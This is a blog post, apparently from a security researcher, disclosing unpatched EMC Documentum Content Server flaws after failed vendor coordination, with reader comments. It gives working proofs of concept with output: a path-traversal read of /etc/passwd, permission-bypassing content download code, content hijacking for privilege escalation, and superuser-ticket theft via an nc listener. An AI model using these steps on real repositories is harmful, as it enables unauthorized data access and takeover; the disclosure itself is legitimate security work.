It’s hard to say that vulnerabilities, described below, are new, because all of them were discovered more than 6 months ago, but I had no idea what to do with them. On April 2014 I made an experiment aimed to figure out whether responsible disclosure makes sense or not. Now it’s pretty clear that responsible disclosure does not make sense:
- for the last year I have never been contacted by EMC, so if somebody from EMC will ever say you something like “product security is my most important focus area” – never trust him
- CERT/CC completely fails in coordinating responsible disclosure – their dumb spreadsheet at current moment is completely wrong (actually, for the last year EMC was able to fix only two or three security issues in Documentum products – I think to publish soon complete review of all existing security issues in Documentum)
Any user may get access to Documentum filesystem through addrendition call
Documentation:
Practice – code below demonstrates how any user may read arbitrary file from content server filesystem:
~]$ perl -e 'print "file_name=\x27" . "/.."x20 . "/etc/passwd\x27\n"' > property.txt ~]$ echo "page_modifier='pdf'" >> property.txt ~]$ echo "parameters=''" >> property.txt ~]$ tar cf property.tar property.txt ~]$ iapi ... Connected to Documentum Server running Release 7.0.0140.0644 Linux.Oracle Session id is s0 API> create,c,dm_document ... 0901ffd78041b31f API> setfile,c,l,property.txt,crtext ... OK API> save,c,l ... OK API> addrendition,c,l,property.tar,pdf,0,,T,T,,T, ... OK API> getpath,c,l,0,pdf ... /u01/documentum/cs/data/test/content_storage_01/0001ffd7/80/0f/1f/90.pdf API> quit Bye ~]$ head -10 /u01/documentum/cs/data/test/content_storage_01/0001ffd7/80/0f/1f/90.pdf root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
Content Server does not check user permissions when transferring content
Code below demonstrates how to download content of any dmr_content object:
/** * @author Andrey B. Panfilov <andrew@panfilov.tel> */ public class Test { public static void main(String argv[]) throws DfException { IDfSession session = new DfClientX().getLocalClient().newSession( "repo", new DfLoginInfo("tes01", "test01")); IDocbaseConnection connection = ((ISession) session) .getDocbaseConnection(); ITypedData arguments = new DynamicallyTypedData(); // storage_id of dmr_content arguments.setId("STORE", new DfId("2801ffd780000100")); // r_object id of dmr_content arguments.setId("CONTENT", new DfId("0601ffd780098039")); // data_ticket of dmr_content arguments.setInt("TICKET", -2146992834); // format or dmr_content arguments.setId("FORMAT", new DfId("2701ffd78000011b")); arguments.setBoolean("IS_OTHER", false); arguments.setBoolean("IS_OFFLINE", false); arguments.setBoolean("COMPRESSION", false); // arguments.setBoolean("NO_ACCESS_UPDATE", true); arguments.setId("SYSOBJ_ID", new DfId("0901ffd780333167")); int handle = connection.applyForInt("MAKE_PULLER", null, arguments, true, true, true); BooleanHolder holder = new BooleanHolder(); byte[] b = connection.getBlock(handle, 0, holder); System.out.println(new String(b)); int i = 0; while (!holder.value) { b = connection.getBlock(handle, ++i, holder); System.out.println(new String(b)); } // checking that parent_id or dmr_content is inaccessible session.getObject(new DfId("0901ffd780333167")); } }
result:
~]$ javac Test.java ~]$ java Test [DOCBROKER_Docbroker01] NAME=Docbroker01 VERSION=7.0.0.155 PORT=1489 [DOCBASE_repo] NAME=repo VERSION=7.0.0.155 DATABASE_CONN=DCTM Exception in thread "main" DfIdNotFoundException:: THREAD: main; MSG: [DM_API_E_EXIST]error: "Document/object specified by 0901ffd780333167 does not exist."; ERRORCODE: 100; NEXT: null at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.fetchFromServer(PersistentDataManager.java:204) at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.getData(PersistentDataManager.java:82) at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObjectFromServer(PersistentObjectManager.java:355) at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObject(PersistentObjectManager.java:311) at com.documentum.fc.client.impl.session.Session.getObject(Session.java:964) at com.documentum.fc.client.impl.session.SessionHandle.getObject(SessionHandle.java:653) at Test.main(Test.java:44) Caused by: DfException:: THREAD: main; MSG: [DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error: "No browse access for sysobject with ID '0901ffd780333167'."; ERRORCODE: 100; NEXT: null at com.documentum.fc.client.impl.docbase.DocbaseExceptionMapper.newException(DocbaseExceptionMapper.java:57) at com.documentum.fc.client.impl.connection.docbase.MessageEntry.getException(MessageEntry.java:39) at com.documentum.fc.client.impl.connection.docbase.DocbaseMessageManager.getException(DocbaseMessageManager.java:137) at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.checkForMessages(NetwiseDocbaseRpcClient.java:310) at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.applyForObject(NetwiseDocbaseRpcClient.java:653) at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection$8.evaluate(DocbaseConnection.java:1313) at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.evaluateRpc(DocbaseConnection.java:1072) at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.applyForObject(DocbaseConnection.java:1305) at com.documentum.fc.client.impl.docbase.DocbaseApi.parameterizedFetch(DocbaseApi.java:107) at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.fetchFromServer(PersistentDataManager.java:191) ... 6 more
Content server does not check user permissions when user modifies dmr_content objects
Any user may interchange content between sysobjects and get superuser privileges, example below demonstrates hijacking content of dm_method object:
~]$ cat > test.txt test ~]$ iapi Please enter a docbase name (docubase): repo Please enter a user (dmadmin): test01 Please enter password for test01: Connected to Documentum Server running Release 7.0.0140.0644 Linux.Oracle Session id is s0 API> retrieve,c,dm_method where use_method_content=TRUE ... 1001ffd7800003bf API> get,c,l,object_name ... dm_Migration API> get,c,l,i_contents_id ... 0601ffd78000dd70 API> create,c,dm_sysobject ... 0801ffd78039f872 API> setfile,c,l,test.txt,text ... OK API> save,c,l ... OK API> get,c,l,i_contents_id ... 0601ffd78010a761 API> get,c,0601ffd78010a761,data_ticket ... -2146583173 API> get,c,0601ffd78010a761,content_size ... 5 API> get,c,0601ffd78010a761,full_content_size ... 5 API> apply,c,0601ffd78000dd70,SAVE_CONT_ATTRS, data_ticket,I,-2146583173, content_size,I,5, full_content_size,I,5, OBJECT_TYPE,S,dmr_content, IS_NEW_OBJECT,B,F ... q0 API> next,c,q0 ... OK API> get,c,q0,result ... 1 API> getfile,c,1001ffd7800003bf ... process2735553202612613208.tmp/0/0601ffd78000dd70.txt API> ^Z [1]+ Stopped iapi ~]$ cat process2735553202612613208.tmp/0/0601ffd78000dd70.txt test
Any user may get superuser ticket using FTINDEX_AGENT_ADMIN RPC-command
Connected to Documentum Server running Release 7.0.0100.0603 Linux.Oracle Session id is s0 API> retrieve,c,dm_ftindex_agent_config ... 0801ffd780001976 API> get,c,l,object_name ... docu70dev01_9200_IndexAgent API> get,c,l,index_name ... ssc_dev_ftindex_01 API> apply,c,,FTINDEX_AGENT_ADMIN,NAME,S,ssc_dev_ftindex_01, AGENT_INSTANCE_NAME,S,docu70dev01_9200_IndexAgent,ACTION,S,status ... q0 API> getmessage,c ... [DM_FT_INDEX_T_INIT_INDEX_AGENT_MSG]info: "HTTP_POST with args -command status -docbase ssc_dev -user dm_fulltext_index_user -ticket DM_TICKET=T0JKIE5VTEwgMAoxMwp2Z -instance docu70dev01_9200_IndexAgent -details false to Index Agent docu70dev01_9200_IndexAgent is successful."
Any user may get superuser ticket through CTSAdminMethod docbase method
nc:
~]$ nc -l 7777
api session:
API> create,c,cts_instance_info ... 0801ffd7800e8e53 API> set,c,l,agent_url SET> http://host:7777/ ... OK API> set,c,l,websrv_url SET> http://host:7777/ ... OK API> set,c,l,status SET> 1 ... OK API> set,c,l,inst_type SET> 1 ... OK API> save,c,l ... OK API> apply,c,,DO_METHOD,METHOD,S,CTSAdminMethod,ARGUMENTS,S, '-docbase repo -userid dmadmin -ticket "" -command PING -instanceid 0801ffd7800e8e53'
nc:
POST / HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.6.0_31 Host: host:7777 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 756 docbase=repo&ticket=DM_TICKET%3DT0JKIE5VTE....
Information disclosure in search service
In D6.7SP1 EMC introduced new feature, subscriptions to queries:
As expected, this feature is not documented:
Let’s figure out how subscriptions work…
Query subscriptions functionality is implemented by the following jobs:
- dm_FTQBS_DAILY
- dm_FTQBS_HOURLY
- dm_FTQBS_MONTHLY
- dm_FTQBS_WEEKLY
Each of those jobs executes following query to get pending subscriptions:
SELECT rl.parent_id, rl.child_id, fs.subscriber_name, fs.workflow_id, fs.last_exec_date, fs.r_modify_date, fs.result_strategy FROM dm_relation rl, dm_ftquery_subscription fs WHERE rl.child_id = fs.r_object_id AND rl.relation_name = 'dm_qbs_relation' AND fs.frequency = 'HOURLY|DAILY|WEEKLY|MONTHLY' ORDER BY 5
Now, if user wants to execute search under superuser account he should just create smartlist, relation and corresponding malicious dm_ftquery_subscription object 🙂
How is CTSAdminMethod flawed? You are running iAPI as ‘dmadmin’ user with a valid ticket and you seem to get back a http message ‘dmadmin’ user ticket. So where’s the flaw?
LikeLike
Vimal,
I do not consult EMC employees
LikeLike
All these vulnerabilities show that there is no other way as only allow privileged clients to access the documentum repository. (https://blog.documentum.pro/2014/04/14/aplication-access-control/)
This should be the standard for all bigger installations…
As D2 for example sends Documentum tickets to configured external widgets as http get parameter, it is very easy for users to create a connection to the repository with tools like DQMan
(http://www.fme.de/en/services/enterprise-content-management/emc-documentum/dqman/) or any code… They only have to identify the repository host.
Thanks,
Jens
LikeLike
Hi Jens,
sorry, I can’t agree with your opinion because it is based on wrong assumption: in cryptography we trust – please read “D2 Lockbox”-related topics, those topics clearly demonstrate that cryptography is not a panacea (actually it is, but implementator must have a brain), alternatively you can play with StreamingDownload servlet in D2(-Config?) to see how it allows to hijack arbitrary file from D2’s filesystem 🙂 Another wrong point is to think that if service is vulnerable by design it is enough to restrict access to this service – that is totally wrong, if service is vulnerable you should not use that service at all: we don’t use telnet because it is insecure, do we? The same is applicable for Documentum: at first glance it seems the only way to exploit security vulnerability in FTINDEX_AGENT_ADMIN is get network access to Content Server, this is wrong: nobody knows what clients/customizations customers use, for example cara allows to send API commands, so if customer is using cara as client interface this customer is under security risk. Who is to blame here? Generis? I don’t think so: for a long time all wdk applications were capable to execute api commands through API-tester component, but on February 2014 EMC removed this security flaw, the question is why do not notify partners about security issues in Documentum platform?
LikeLike
Hi Andrey
For the last item, you used phrase match to search what you wanted. It’s incorrect. The description can be found from page 183 to 197.
Your expectation to documentation was no ground. 🙂
Thanks,
Dingmeng
LikeLike
Is it the only thing that confuses EMC employees?
LikeLike